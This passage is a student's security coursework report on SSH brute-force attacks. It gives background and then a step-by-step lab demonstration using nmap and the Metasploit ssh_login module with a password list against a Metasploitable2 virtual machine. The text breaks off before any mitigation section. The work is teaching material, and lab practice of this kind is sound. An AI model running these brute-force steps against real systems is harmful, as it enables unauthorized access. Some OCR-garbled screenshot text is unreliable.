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Abstract

The primary goal of this course is to undertake an attack on a vulnerable system
and then offer a research-based analysis, evaluation and mitigation measures for the
attack. An thorough investigation on the topic Brute Force attack on Information
Technology devices and systems is undertaken through many studies, journals,

articles and websites to get fundamental understanding on the topic.

The attack on Metasploitable was carried out utilizing the Kali operating system,
which is a vulnerable operating system. This attack was conducted in compliance with
ethical principles. The precautions or mitigation methods outlined in the following sections

of the documentation have been tested and implemented on the system.

Overall, this report includes an introduction section on cyber attacks, a background
section on the topic, a demonstration section that includes the steps of the attack, a
mitigation section that includes the topic's preventive measures, an evaluation section

that includes pros, cons, and cost benefit analysis and finally the report's conclusion.
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SECURITY IN COMPUTING CC5004NI

1. Introduction

Over the last few decades, the term "internet” has expanded dramatically from a
modest networking medium to a global network with more than two billion users. It has
become a vital part of many people's daily lives all across the world, changing the way
we live, talk, and work, from our personal ties to our job routines. Though the internet has
provided us with various advantages and opportunities, it has also increased the level of
risks and risk to mankind, as the number of malwares, hackers, and other undesired
malicious activities continues to rise on a daily basis.

Cyber attacks and other illegal activities on the internet are the biggest potential
drawbacks or the dark side of the internet. Spam, computer viruses and worms, hacking,
denial-of-service attacks, online scams, identity theft, violations of digital property rights
and privacy, online bullying, and other unethical online behaviours are only a few
examples (Kim, et al., 2011).

Connecting our devices to the internet has numerous advantages, but it also
exposes them to cyber-attacks such as SQL injection, phishing, and stealing, man-in-the-
middle, drive-by assault, cross-site scripting attack, brute force attack and multiple web-
based attacks. These attacks have a wide range of consequences, from discomfort to
posing a significant threat to the country or any individual. As a result, the security of

information technology is a critical issue (fag-ans, 2021).
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The classification of the different types of cyber attacks are demonstrated on the
diagram below,

Cyber Attack
Classification
A l A A4 v
Based on Legal Based on Based on Based on
Purpose Classification severity of Scope Network
Involvement Type
v v v h 4 A 4 y ) 4
Reconnaissance Access Denial of Active Passive Attacks in Attacks in
Attack Attack Service Attacks Attacks MANET WSN
Attack
v v A 4 Y \ 4 A 4
Cyber Cyber Cyber Cyber war Malicious Non-Malicious
crime espionage terrorism Large Scale Small Scale

Figure 1: Classification of Cyber Attack (M. Uma, 2011).
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1.1 Current Scenario

According to a recent survey done by a group of statisticians, there were 4.66
billion active internet users globally in January 2021, accounting for 59.5 percent of the
global population. 92.6 percent (4.32 billion) of this total used mobile devices to access
the internet (Johnson, 2021).

It is difficult to imagine a future without the internet, which connects billions of
people around the world and serves as a central foundation of the modern information
society. The global internet penetration rate is 59%, with Northern Europe leading the
way with a population internet penetration rate of 95%. The UAE, Denmark, and South

Korea have the highest internet penetration rates in the world (Johnson, 2021).

Asia had the most online users in 2019, with over 2.3 billion according to the most
recent count. With about 728 million internet users, Europe came in second. In terms of
internet users, China, India, and the United States lead all other countries. China has
about 854 million internet users, whereas India has around 560 million. Large swaths of
the populace in both countries remain unconnected (Johnson, 2021).

4.66

Number of users in billions

Active internet users Active mobile internet users Active social media users Active mobile social media
users

Figure 2: Worldwide digital population as of January 2021 (Statista, 2021).
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Because the growth and use of the internet has expanded in the current world
scenario, it has also resulted in one of many cybercrimes. The global pandemic COVID-
19 has driven enterprises to work remotely, requiring employees to utilize more loT
devices, which has resulted in an increase in data hacking and breaches due to poor
security protocols.

In the current scenario, as cyber attacks have increased, cyber security concerns
in 10T devices, mobile phones, and the workplace have risen considerably, resulting in a
surge in data hacking and breaches. According to the survey, 95 percent of cyber attacks
are caused by human error, and there have been a total of 11,762 data breaches between
January 1st, 2015 and May 31st, 2020, with 45 percent involving hacking, 17 percent
involving malware, 22 percent involving phishing, and the remaining 16 percent involving
other types of network-based attacks. (Sobers, 2021).

When it comes to the statistics of various sorts of network-based attacks, Google
has detected roughly 600-800 malware-affected sites per week, causing the largest
financial damages to enterprises. Similarly, ransomware was responsible for 25% of data
breaches that cost roughly $20 billion in 2021. Google has also spotted around $2 million
phishing sites in 2020 and it has also revealed that 5% of emails on the internet are
phishing. By 2022, the number of DDoS attacks is estimated to reach $14.5 million
(Parachute, 2022).
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TOTAL COST OF CYBERCRIME

$945,000,000,000

$475,000,000,000

$300,000,000,000

$522,500,000,000

(S0 )
~ parachute*

Figure 3: Graph of Total cost of Cybercrime (Parachute, 2022).

Over the last few years, the global cost of cybercrime has risen over $1 trillion,
which is 50% higher than the estimate for 2018 and more than 1% of global GDP. The
average cost of a data breach for organizations that have completely implemented
security automation was $2.45 million, compared to $6.03 million for those that lag behind
in security automation. Organizations that use successful cyber attack prevention
strategies can save up to $1.4 million each avoided attack (Parachute, 2022).

Using a few historical examples of network-based attacks, In 2020, a Twitter
breach that targeted 130 accounts, including those of former presidents and Elon Musk,
resulted in attackers stealing $121,000 in Bitcoin in roughly 300 transactions. In the same
year, Marriott announced a security compromise that affected the data of over 5.2 million
hotel guests. The Equifax breach affected 147.9 million consumers in 2017, costing the
firm over $4 billion in total (Sobers, 2021). Similarly, throughout these few years many

organizations had been victim of different kinds of network based attacks.
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1.2 Problem Statement

Hackers or intruders can easily compromise computer and networking devices
such as IoT devices, webservers, firewalls, IDS/IPS, routers and switches by conducting
a brute-force attack. Since anyone is permitted to attempt SSH access on the remote web
server or any type of networking device, there are various vulnerabilities in SSH auxiliary.
Because these services continue to function, the associated port stays open, allowing
hackers or attackers to undertake brute force assaults.

By completing this project, we will have a comprehensive understanding of
network-based attacks as well as the issue of Brute Force attacks on information
technology devices and systems. Also, by launching a brute force attack on the shh

auxiliary, we may gain an awareness of all of its faults and provide preventive measures.
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1.3 Aims and Objectives

The main aim of this coursework is to provide relevant and in-depth knowledge
about Brute Force attacks on information technology and systems by conducting a Brute
Force attack over SSH from Kali Linux as an attacker pc to Metaspoitable2 as the victim
pc. Finally, after the attack has been successfully carried out, the various possible

vulnerabilities need to be demonstrated, as well as their mitigation.
To fulfill this aim the following objectives are required:

- To conduct research on the topic of Brute Force attacks on Information Technology
devices and systems.

- To gain the fundamental knowledge about the topic through using a variety of
related news, journals, papers and websites.

- To study the common vulnerabilities in the Metaspoitable2 system, which
represents any other vulnerable system.

- To perform vulnerability scanning and port scanning of the target using Nmap.

- To conduct a Brute Force attack in ethical norms from Kali Linux OS to
Metaspoitable2.

- To provide an overall analysis beginning with an attack, stating vulnerabilities,

implementing mitigations and finally presenting an evaluation.
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2. Background

2.1 Introduction to Brute Force attack

The term Brute Force attack is a type of network based attack in which an intruder
tries to guess a username and password combination by a trial-and-error method used
by application programs to decode login information and encryption keys in order to gain
unauthorized access to a system or data (Hanna, 2022). This is a type of attack that
cannot be avoided because there is no way to safeguard the system from a brute force
attack.

On a trial-and-error basis, a brute force assault tries a large number of key
combinations. It attempts every possible combination to obtain the required information.
If the password length is very short, it can be readily cracked. When the key size is huge
and the password is strong, a brute force assault takes a long time. A computer program
or ready-made software is frequently used to carry out a brute force attack (Mahore &
Deorankar, 2017).

Attacker Target

Figure 4: Demonstration of Brute force attack (Stiawan, et al., 2019).
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2.2 Classification of Brute Force attack

@ Outsider attacks l I Insider attacks

R2L
Escalating privileges
Password crack/sniffing U2R

®

Gaining acces:
'assworg I ﬁ ’

an-in-the-middle attack
ARP poisoning/sniffing

Start .

Man-in-the-middle attack

BYOD

Malware

Device/physical data theft

Sabotage

Behavior/awareness

Social engineering

Figure 5: lllustration of Brute Force Attack (Stiawan, et al., 2019).

In general, Brute Force Attacks are classified as either insiders or outsiders where
insider attack is usually perceived as a valid user of the organization. According to the
researchers, the brute force attack can be classified as either online password hacking or
offline password hacking and it can have significant consequences by implying valid
passwords on the server (Stiawan, et al., 2019).

The insider attack restricts access to some services that do not have additional
coverings on distinct service packages and it also differs from inbound packages from
outside the network that are closely inspected by filters with several DMZ services. An
insider attack on IoT comes in many different forms and causes a variety of issues
connected to purposeful and unintentional security incidents caused by workers and
outsources. Because the attacker is inside, they are intimately familiar with technical
issues such as the network's backbone, IP address allocations, the virtual local area
network (VLAN), the service clustering application and mainly the IT staff members who

monitor the network (Stiawan, et al., 2019).
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2.3 Pattern of Brute Force attack

PR — Active attack patterns
Pattern hash table = 5 BN
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Figure 6: Pattern of attacks based upon the correlation approach (Stiawan, et al., 2019).

The picture above represents brute force attack methodologies and methods, as
well as patterns that represent brute force attacks. Some attack patterns were generated
using graphinfo's time-sensitive approach to statistical relationships and other patterns
were generated using a data set that demonstrated distribution values for the generated
patterns, which were an outcome of the attacks stimulated that aligned with the results
from the extracted data package (Stiawan, et al., 2019).

The brute force attacks are classified into several different types which includes
traditional brute force attacks in which an attacker tries every possible combination of
username and password, reverse brute force attacks in which a small number of common
passwords are repeatedly tried against many different accounts, credential stuffing
attacks in which an attack attempts to use stolen usernames and passwords from sites
or services to hijack accounts on other services and applications (Swinhoe, 2020).

Dictionary attacks and Rainbow table attacks are two types of brute force attacks.
A dictionary attack cycles over terms in a dictionary or popular passwords from past data
breaches. Rainbow table attacks are carried out by employing a pre-computed dictionary
containing plaintext passwords and their matching hash values, with the attacker

determining passwords by reversing the hashing function (Swinhoe, 2020).
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2.4 Motive behind Brute Force attack

Cyber Kill Chain

Reconnaissance m

Lateral Movement Privilege Escalation Exploitation

Obfuscation Denial of Service Exfiltration

When a brute force attack typically occurs.

Figure 7: Motive behind brute force attack (Petters, 2021).

Brute force attacks often occur during the investigation and penetration stages of
the cyber death chain. Attackers require access or entry points into their targets and brute
force approaches are a "set it and forget it" method of acquiring that access. Once within
the network, attackers can employ brute force techniques to increase their privileges or
carry out encryption downgrade operations (Petters, 2021).

While talking about the different protocols such as FTP, SSH, SMB, telnet, MySQL,
Microsoft SQL, SMTP and VNC, we have used SSH protocol to conduct the following
brute force attack. Similarly, globally attackers has carried out an SSH brute force attack
several time in past few years because it provides shell account access across the

network.

11
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2.5 SSH Brute Force attack

SSH brute force attacks

20% —

15% —

10% —

5%

0%
& ¢

& &
Xy Q‘o

Figure 8: Percentage of SSH brute force attacks for each month in 2015 (Craig, 2016).

From the above stats we can observe that the SSH brute force attack mainly
peaked in May of 2015 and drastically decreased for the rest of the year. The malware
known as SSH Psychos was most likely responsible for much of the early-year
activity and the declining trend in later months reflected attempts by members of the
security community to neutralize this danger. In May, the number of distinct attacker IP
addresses associated with SSH brute force attacks reached an all-time high. The key
message is that SSH brute force attacks aren't restricted to a small group of attackers and

securing the systems from them is much important (Craig, 2016).

12
SARTHAK BIKRAM RANA



SECURITY IN COMPUTING CC5004NI

2.7 Protocols

The brute force uses several kinds of protocols in order to carry out the attack

successfully, few of them are:

271 SSH

The Secure Shell (SSH) Protocol is a network security protocol that allows for
secure remote login and other secure network services to be provided across an insecure
network. It allows for secure remote system administration as well as file transmission
over unsecured network. It is presently utilized in practically all data centers. To provide
a secure channel over an unsafe network, Secure Shell employs a client-server

architecture (Stackscale, 2021).

Secure Shell Protocol

Figure 9: How SSH protocol works (wallaram, 2022).

13
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272 TCP

The Transfer Control Protocol (TCP) is a transport protocol that is used on top of
the Internet Protocol (IP) to ensure reliable packet transmission. TCP includes means for
dealing with many of the issues associated with packet-based messaging, such as
missing packets, out-of-order packets, duplicate transmissions and malformed packets.
Because TCP is the most commonly used protocol on top of IP, the Internet protocol stack
is also known as TCP/IP (Khan Academy, 2022).

Client Server

Figure 10: How TCP protocol works (javapoint, 2022).

14
SARTHAK BIKRAM RANA



SECURITY IN COMPUTING CC5004NI

2.7.3 Telnet

Telnet is a protocol that provides a command line interface for communicating with
a distant device or server. It is sometimes used for remote management, but it is also
used for initial device setup, such as network hardware. Telnet can be used to test or
debug remote web or mail servers, as well as access MUDs (multi-user dungeon games)
and trusted internal networks (ExtraHop, 2022).

. Telnet server
Telnet client (telnetd)

I
telnet protocol

“username”
“password”

o

Figure 11: How telnet protocol works (SSH, 2022).

15
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2.8 Methodology

First, a network architecture for the attack was developed using Cisco packet
tracer, which comprises of a core router, core switch, Kali Linux as the attacker PC and
Metaspoitable2 as the victim PC, demonstrating the entire attack scenario. To carry out
the attack, Kali Linux and Metaspoitable2 were launched in VMware and their network
adapters were adjusted to NAT to let the guest machines to connect to the internet.

The terminals of both were then launched, where the following commands were
typed in order to successfully carry out the attack. The IP addresses of both systems were
obtained using the 'ifconfig’ command and the connection between them was verified
using the 'ping’ function. Then, in the Kali Linux terminal, the 'nmap' command was used
to do port scanning, from which we chose port number 22 'SSH' for the attack.

The 'msfconsole’ command was used to launch the Metasploit framework. Then
ssh was searched in the auxiliar and it was logged using the auxiliary scanner. The
options were then loaded and RHOST was selected. Inside Kali Linux, a '‘password.txt'
file was created with the gedit command, which has a hundred distinct possible
passwords and usernames, including 'msfadmin’ which is the actual username and
password of metaspoitable?2.

The RHOSTS configuration was then set in Kali with Metasploitable's IP address
as the victim. The user pass file was configured to point to the newly produced
password.txt file. This command was executed and the brute force assault was
successful since one of the user password pairs matched 'msfadmin msfadmin'. Following
the completion of the auxiliary module execution, a session was formed in order to get
access to Metasploitable. Finally, Metasploitable was launched from Kali, and the 'id’'
command was used to determine user and group names, as well as the 'Is' command to

list the vulnerabilities.

16
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2.9 Required Tools

The several required tools which is needed to carry out the brute force attack to

gain SSH access are as,

2.8.1 VMware

VMware, founded in 1998 is a virtualization and cloud computing software
development company based in Palo Alto, California. VMware's virtualization solutions
are based on its bare-metal hypervisor ESX/ESXi in x86 architecture. A hypervisor is
installed on the physical server with VMware server virtualization to allow multiple virtual
machines (VMs) to run on the same physical server. Each virtual machines can run its
own operating system, allowing many operating systems to coexist on a single physical

server (Suse-Defines, 2022).

WORKSTATION 16 PRO™

Figure 12: VMware Interface.
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2.8.2 Kali Linux

Kali Linux is a Linux security system based on Debian that was created primarily
for computer forensics and advanced penetration testing. Kali Linux has hundreds of tools
that are well-suited to a variety of information security activities, such as penetration

testing, security research, computer forensics and reverse engineering (Williams, 2022).

Figure 13: Kali Linux in VMware.

18
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2.8.3 Metaspoitable 2

Metaspoitable 2 is a virtual machine that runs on a VMware image and contains a
large number of vulnerabilities. It also provides a secure environment for penetration
testing and security research. It was designed to be a vulnerable target for learning about
security breaches by conducting Brute force attacks to collect the current passwords in
the system (RAPID7, 2012).

Starting deferred execution scheduler atd
Starting periodic command scheduler crond
Starting Tomcat servlet engine tomcat5.5
Starting web server apache2

» Running local boot scripts (retcs/rc.local)

nohup: appending output to ‘nohup.out’

nohup: appending output to “nohup.out’

Warning: Never expose this UM to an untrusted netuwork!?
Contact: msfdevlatlImetasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: _

Figure 14: Metaspoitable 2 in VMware.
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2.8.4 Nmap

Nmap, which stands for Network Mapper is a free and open-source vulnerability
detection and network discovery application. Nmap is used by network administrators to
determine what devices are running on their systems, discover available hosts and the
services they provide, find open port, and detect security problems. Nmap may be used
to monitor individual hosts as well as large networks with hundreds of thousands of

devices and subnets (Ferranti, 2018).

[mjrod@creoda-fedora ~]$ nmap -p 1-7000

Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-06 13:08 EDT
Nmap scan report for

Host is up (0.014s latency).

Not shown: 5969 closed ports, 1020 filtered ports
PORT STATE SERVICE

1957 /tcp open unix-status

1958/tcp open dxadmind

5111/tcp open taep-as-svc

5239 /tcp open unknown

5247 /tcp open capwap-data

5275/tcp open unknown

5602 /tcp open al-msc

5613/tcp open unknown

5662 /tcp open unknown

5665/tcp open unknown

6379/tcp open redis

Nmap done: 1 IP address (1 host up) scanned in 3.60 seconds
[mjrod@creoda-fedora ~]$ I

Figure 15: Using Nmap for scanning (mjrod, 2021).
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3. Demonstration

The demonstration section contains all of the steps that were taken for the brute
force attack, and it is divided into two parts: one for designing a network architecture for

the attack and the other for explaining the entire attack.

3.1 Creating a network architecture for the attack

This is the initial step in carrying out the attack, in which a generic network
architecture is established using Cisco packet tracer, which will serve as the foundation
for the entire attack. A Core Router, a Core Switch, Kali Linux as the attacker PC and

Metaspoitable2 as the target PC comprise the topology.

o
.

o J
" PC-PT
Kali-Linux (Attacker PC)

192.168.174.130/24

Fa0/2

~= Gig0/0/0 Fa0/1 -~
% | 4 | 4
3 J Fa0/2

ISR4221 2960-2:_1TT
Core Router Core Switch
192.168.174.120/24 Fal

LB &
PC-PT
Metasploitable (Target PC)
192.168.174.121/24

B

Figure 16: Network Architecture for the attack.

As assigned in the figure above the IP address of the Core Router is
192.168.174.120/24, Kali Linux which the Attacker PC is 192.168.174.130/24 and
Metaspoitable2 which is the Target PC is 192.168.174.131/24.
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3.2 Steps for demonstration

The steps used to demonstrate the brute force attack are below and each step has
been explained.

Step 1: Setting up the network adapter to NAT

Before beginning the attack, the network adapters of both Kali Linux and
Metaspoitable2 were set to “NAT” in order to allow the guest machines to connect to the
internet. It also ensures that the system cannot receive an IP address from the host

machine dynamically. As a result, a static IP address must be configured.

Device status
[Agonnected
(4 Connect at power on

Network connection
(O Bridged: Connected directly to the physical netwark

Oma e st I address
O Host-only: A private network shared with the host
O Custom: Specfic virtual network
Winetd
O LaN segment;

Figure 17: Setting up the network adapter to NAT in Kali Linux.
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Home: ¥ Metasploitable2-Linux > kall-nux-2022. 1-vmware am

Virtual Machine Settings

Hardware  Options

Device status
Device
[A connected

[l connect at power on

Network connection

(O Bridged: Connected directly to the physical network
Network Adapter 2 Host-only
USB Controller Present
Display Auto detect

OLaN segment:

LAN Segments

Figure 18: Setting up the network adapter to NAT in Metaspoitable2.
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Step 2: Using the ifconfig command to obtain IP address

The terminals of Kali Linux and Metaspoitable2 were launched and the command
"ifconfig" was run to obtain the IP addresses of the attacker and target computers,

respectively which will be used in the further next steps.

=

File Actions Edit View Help
— |- ~/Desktop]

docker@: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether ©2:42:d4:5d:5f:54 txqueuelen @ (Ethernet)
RX packets @ bytes @ (0.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets @ bytes @0 (0.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.174.130 netmask 255.255.255.0 broadcast 192.168.174.255
inet6 fe8@::20c:29ff:fe7f:57d prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:7f:05:7d txqueuelen 1000 (Ethernet)
RX packets 59 bytes 7484 (7.3 KiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 50 bytes 4134 (4.0 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536

inet 127.0.0.1 netmask 255.0.0.0

inet6 ::1 prefixlen 128 scopeid 0x10@<host>

loop txqueuelen 1000 (Local Loopback)
packets @ bytes 0 (0.0 B)
errors @ dropped @ overruns @ frame @
packets @ bytes @ (0.0 B)
errors @ dropped @ overruns @ carrier @ collisions @

-[~/Desktop]

Figure 19: Obtaining the IP address of Kali Linux.

To access official Ubuntu documentation, please visit:

http:~sshelp.ubuntu.coms

No mail.

msfadmin@metasploitable:

msfadnin@netasploitable:["§ ifconfig

etho Link encap:Ethernet HUWaddr 00:0c:29:2d:8f:5c
inet addr:192.168.174.131 Bcast:192.168.174.255 HMask:255.255.255.0
inet6 addr: feB0O Oc:29ff :fe2d:8f5c-64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:43 errors:0® dropped:0 overruns:® frame:0
TX packets:91 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:4945 (4.8 KB) TX bytes:11262 (10.9 KB)
Interrupt:17 Base address:0x2000

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1-128 Scope:Host

UP LODPBACK RUNNING HMTU:16436 Hetric:1

RX packets:139 errors:0 dropped:0 overruns:0 frame:0
TX packets:139 errors:0 dropped:0Q overruns:0 carrier:0
collisions:0 txqueuelen:®

RX bytes:42153 (41.1 KB) TX bytes:42153 (41.1 KB)

nefadmin@metasploitable: ™5

Figure 20: Obtaining the IP address of Metaspoitable2.
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Step 3: Using the ping command to establish connection between both PC

Using the IP address obtained in Step 3, the connection between the two
computers was tested with the "ping" command. The corresponding command "ping
192.168.174.131" which is the IP address of the Metaspoitable2, is run in the terminal of
Kali Linux and the command "ping 192.168.174.130" which is the IP address of the
Metaspoitable2, is run in the terminal of Metaspoitable2, and the connection is confirmed

as successful between both of them.

- kali@kali: ~

File Actions Edit View Help

192,

817411 h 84) bytes of data.

from 168. 31: icmp_seqg=1 ttl=64 tim

from 2.168.174.13 i : i

from 2.168.

from 2.168.17

from 2.168.

from 2.168.17

from 2.168.17!

from 2.168.174

2.168.174.131 ping statistics —

8 packets transmitted, 8 received, 0% packet loss, time 7068ms
rtt minfavg/max/mdev = ©0.641/0.888/1.117/9.148 ms

Y= =~

Figure 21: Pinging Metaspoitable2 from Kali Linux.

nsfadminenetasploitable: ™5 ping 192.168.174.130

PING 192.168.174.130 (192.168 1741307 56(84) bytes of data.
bytes from 192.168.174.130: icmp_seq=1 ttl1=-64 time=0.639 ms
bytes from 192.168.174.130: icnp_seq=2 ttl=64 time=0.882 ms
bytes from 192.168.174.130: icmp_seq=3 ttl=641 time=1.04 ms
bytes from 192.168.174.130: icmp_seq=4 tt1=64 timne=1.12 ms
bytes from 192.168.174.130: icnp_seqg=5 ttl=64 tine=0.783 ms
bytes from 192.168.174.130: icmp_seq=6 ttl1=-64 time=0.907 ms
bytes from 192.168.174.130: icmp_seq=? ttl=64 time=0.882 ms
bytes from 192.168.174.130: icmp_seq=8 ttl=64 time=1.2Z2 ms
bytes from 192.168.174.130: icmp_seq=9 tt1=64 tine=0.907 mns
bytes from 192.168.174.130: icmp_seq=10 ttl=64 time=0.961 ns

-—— 192.166.174.130 ping statistics ——

10 packets transmitted, 10 received, 0¥ packet loss, time 9014ms
rtt minfavgsmnax/mndev = 0.639-0.936-1.229-0.161 ns
nsfadmin@metasploitable:™5

Figure 22: Pinging Kali Linux from Metaspoitable2.
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Step 4: Performing port scan on Kali Linux using Nmap

In order to examine the status of the active ports, the following command "nmap -
sV 192.168.174.131" was used from where the IP address is of Metaspoitable2. When
the execution was finished, it displayed a number of open ports, one of which being port

22 for SSH, which was ideal for the brute force attack.

& kali@kali: ~
File Actions Edit View Help

192.168.174.131
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-13 01:56 EDT
Nmap scan report for 192.168.174.131
Host is up (0.00071s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7pl Debian 8Subuntul (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.83 seconds

Figure 23: Performing port scanning on Kali Linux using nmap.
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Step 5: Starting up the Metasploit framework

To launch the Metasploit framework within Kali Linux, we entered the command
"msfconsole” in the terminal, which boots up the environment. During the time of
execution it also listed out the number of modules that are available in the Metasploit
framework such as 2196 exploits, 1162 auxiliary, 400 post, 596 payloads, 45 encoders,
10 nops and 9 evasion. Then it directly redirects to "msf6" the most recent version of
Metasploitable2, which has the advantage of supplying users with the most recent
exploits and tools.

k.

kalii@kali: ~/Desktop

File Actions Edit View Help
— _ -[~/Desktop]

=[ met
+ — —=[ 219
+ — —=[ 596 payloa
+ — —=[ 9 evasion

Metasploit tip: Use 1 g to learn more
about any command

msfé > i

Figure 24: Starting Metasploitable framework console.
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Step 6: Searching for SSH auxiliary in the Metasploit Framework

To find out the different possible auxiliaries present in the Metasploit framework
“SSH” module was used with the following command “search ssh” was run which listed
60 different present auxiliaries in the framework. Amongst all we used the auxiliary

number 46 which is “ssh_login” to carry out the attack.

msfé6 > search ssh

Matching Meodules

Name Disclosure Date C k  Description

M Remote
normal Apache Karaf Default Credential

normal C Apache Karaf Login Utili
11 Apple 105 Default SSH Password

Arista restricted shell escape
rks vAPY and vxAG Pr
nown_privkey agon FibeAir IP-10 SSH Priva
normal C Cerberus FTP rver S5FTP Userna
normal C Cisco 79376 Denial-of
normal

normal

C Quantum
nor L BSH 1.5
normal [ 55H
normal SSH

55H

SSH
L 8SH Login
normal SSH Public

normal 55H
1999-91-01 : L SSH

rruption
_V rsion normal Version canner
it normal L ack t Information Gath

Figure 25: Searching for different auxiliaries inside the framework.

28
SARTHAK BIKRAM RANA



SECURITY IN COMPUTING CC5004NI

Step 7: Creating a username and password list for attack

For the next step in the brute force attack, we used the "gedit" command to
generate a list called "password.txt" that had 100 distinct combinations of usernames
and passwords in the Kali desktop environment, including Metasploitable2 actual

username and password which is "msfadmin msfadmin®”.

password.txt

Open + A

03 Dranaony. pranaont
64 bellal23 bellail23
65 whateverl whateverl
66 scooterl scooterl
67 red123 redi23

68 qwer1234 gqwerl234
69 purplel23 purplel23
70 Posswdrd Pgssword
71 poohbear poohbear
72 monkey monkey

73 Michellel Michellel
74 lovel234 lovel23s
75 Jordan23 Jordan23
76 jenniferl jenniferl
77 msfadmin msfadmin
78 helloiZz3 helloiz3
70 Elizabethl Elizabethl
80 elizabeth elizabeth
81 cupcake cupcake

B2 applel23 applel23
83 angell123 angelil23
84 yankeesl yankeesl
85 supermanl supermanl
86 skittles skittles
87 shadow shadow

88 monkey123 monkey123
80 Matthewl Matthewl
0D maggie maggie

01 madisonl madisonl
02 madison madison

Figure 26: Generating password.txt file.
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The following “password.txt” file is saved inside the kali desktop environment.

Places

B Computer = AV

B kel

Documents Downloads

I

Pictures Public rtl8 us Templates

L

Devices Videos exploi i E! |_'|1'1' pass
—E File System -

D Browse Network

Figure 27: Showing the location of the password.txt file.
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Step 8: Searching for ssh vulnerabilities in the web

To carry out the attack successfully we need to use an auxiliary inside the ssh
module for which we searched up for the possible exploits of ssh in the web. The search
directed us to multiple webpages from which we can find the specific auxiliary for the

brute force attack to carry out.

openssh 4.7p1 debian 8ubuntu1 (protocol 2.0) exploit

’ hitps://www.rapid7.com

SSH User Code Execution - Rapid7
1 D tion. This modul to the tem and exec

necessary commar run the specif ad via SSH

nipsiichariesreiai com
Vietasploitable/SSH/Exploits - charlesreid1
eminder of the information nmap r 1ed about the SSH service after a port scan
yen ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
Service Info - Brute Force ssh_logir vate Key sst

Figure 28: Searching for SSH exploits in the web.
Now, after visiting a specific URL containing various Metasploit SSH exploits, we
choose the "ssh_login" method with the command "auxiliary/scanner/ssh/ssh_login"
which is most suited to carrying out the attack in accordance with the requirements of this

coursework. This also allows to use Metasploit to brute force guess SSH login credentials.

Metasploit ssh_login

The first attack is ssh login, which allows you to use metasploit to brute-force guess SSH login credentials.

Module name i5 auxiliary/scanner/ssh/ssh_login

Linkz h

Figure 29: Selecting the auxiliary for the attack.
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Step 9: Listing out the different options inside the auxiliary

The next step is to check out all the options available for the “ssh_login” module
with the command “show options”. It provided with a list of options name, their settings,
requirement and a brief description as well. Out of which the “RHOSTS” options was

used to carry out the brute force attack.

msf6 auxiliary( ) > show options

Module options (auxilia scanner/ssh/ssh_login):

Name Current ting Required Description

BLANEK_ false no ry blank pa rds for all
BRUTEFORC yes ow to bruteforce, fro

DB_ALL_CREDS false no
ent da

DB_ALL_PA false [ L jords in the cu

to the lis

none

_FILE

RHOSTS

RPORT
STOP_ON
THREADS
one per host)
USERNAME [ c username to auth

USERPASS_FILE

USER_AS
USER_FILE

VERBOSE false ye \ to print output for
l attempts

msf6 auxiliary(

Figure 30: Listing out all the available options.
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Step 10: Setting options for the configuration

Firstly, we choose the “ssh_login” auxiliary method with the command
“auxiliary/scanner/ssh/ssh_login” which allows to use the Metasploit environment to
brute force guess SSH login credentials. Then the configuration was set using “set
RHOSTS 192.169.174.131” command where the IP address is of the target pc which is
Metasploitable2. Then the location of the file “password.txt” was set using “set
USERPASS_FILE /home/kali/password.txt” which consists hundred different

combinations of usernames and passwords.

msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary( ) > |set RHOSTS 192.168.174.131

RHOSTS = 192.168.174.131

msf6 auxiliary( ) >|set USERPASS_FILE /home/kali/password.txt
USERPASS_FILE = /home/kali/password.txt

Figure 31: Setting options for the configuration.
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Step 11: Verifying the settings for the configuration

After the configuration has been made which has been explained in the above
“Step 10”, now to check out if the options are set accordingly or not the “show options”

command was run in the terminal.

ms: auxiliary( ) = show options
Module options (au

Name

BLANK_PA: RDS alse € I nk passwords for al

BRUTEFORCE_S 5 C fast to bruteforce, fr

false

none

File containing passwords,
one per line

THRE

USERNAME

VERBOSE

Figure 32: Verifying the configuration.
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Step 12: Running the module

The final phase of the assault is to run the module using the "run” command.
When the execution was finished, it displayed the matches of the hundred different
username and password combinations from the "password.txt" file and the
